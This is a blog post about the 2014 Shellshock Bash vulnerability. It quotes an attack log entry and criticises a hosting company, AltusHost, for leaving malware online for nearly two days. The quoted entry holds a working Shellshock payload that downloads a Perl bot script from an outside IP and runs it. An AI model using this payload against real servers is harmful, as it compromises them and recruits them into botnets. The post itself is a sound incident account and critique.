Hanno's blog

If you have any interest in IT security you probably heared of a vulnerability in the command line shell Bash now called Shellshock. Whenever serious vulnerabilities are found in such a widely used piece of software it's inevitable that this will have some impact. Machines get owned and abused to send Spam, DDoS other people or spread Malware. However, I feel a lot of the scale of the impact is due to the fact that far too many people run infrastructure in the Internet in an irresponsible way.

After Shellshock hit the news it didn't take long for the first malicious attacks to appear in people's webserver logs - beside some scans that were done by researchers. On Saturday I had a look at a few of such log entries, from my own servers and what other people posted on some forums. This was one of them:

0.0.0.0 - - [26/Sep/2014:17:19:07 +0200] "GET /cgi-bin/hello HTTP/1.0" 404 12241 "-" "() { :;}; /bin/bash -c \"cd /var/tmp;wget http://213.5.67.223/jurat;curl -O /var/tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""

Note the time: This was on Friday afternoon, 5 pm (CET timezone). What's happening here is that someone is running a HTTP request where the user agent string which usually contains the name of the software (e. g. the browser) is set to some malicious code meant to exploit the Bash vulnerability. If successful it would download a malware script called jurat and execute it. We obviously had already upgraded our Bash installation so this didn't do anything on our servers. The file jurat contains a perl script which is a malware called IRCbot.a or Shellbot.B.

For all such logs I checked if the downloads were still available. Most of them were offline, however the one presented here was still there. I checked the IP, it belongs to a dutch company called AltusHost. Most likely one of their servers got hacked and someone placed the malware there.

I tried to contact AltusHost in different ways. I tweetet them. I tried their live support chat. I could chat with somebody who asked me if I'm a customer. He told me that if I want to report an abuse he can't help me, I should write an email to their abuse department. I asked him if he couldn't just tell them. He said that's not possible. I wrote an email to their abuse department. Nothing happened.

On sunday noon the malware was still online. When I checked again on late Sunday evening it was gone.

Don't get me wrong: Things like this happen. I run servers myself. You cannot protect your infrastructure from any imaginable threat. You can greatly reduce the risk and we try a lot to do that, but there are things you can't prevent. Your customers will do things that are out of your control and sometimes security issues arise faster than you can patch them. However, what you can and absolutely must do is having a reasonable crisis management.

When one of the servers in your responsibility is part of a large scale attack based on a threat that's headline in all news I can't even imagine what it takes not to notice for almost two days. I don't believe I was the only one trying to get their attention. The timescale you take action in such a situation is the difference between hundreds or millions of infected hosts. Having your hosts deploy malware that long is the kind of thing that makes the Internet a less secure place for everyone. Companies like AltusHost are helping malware authors. Not directly, but by their inaction.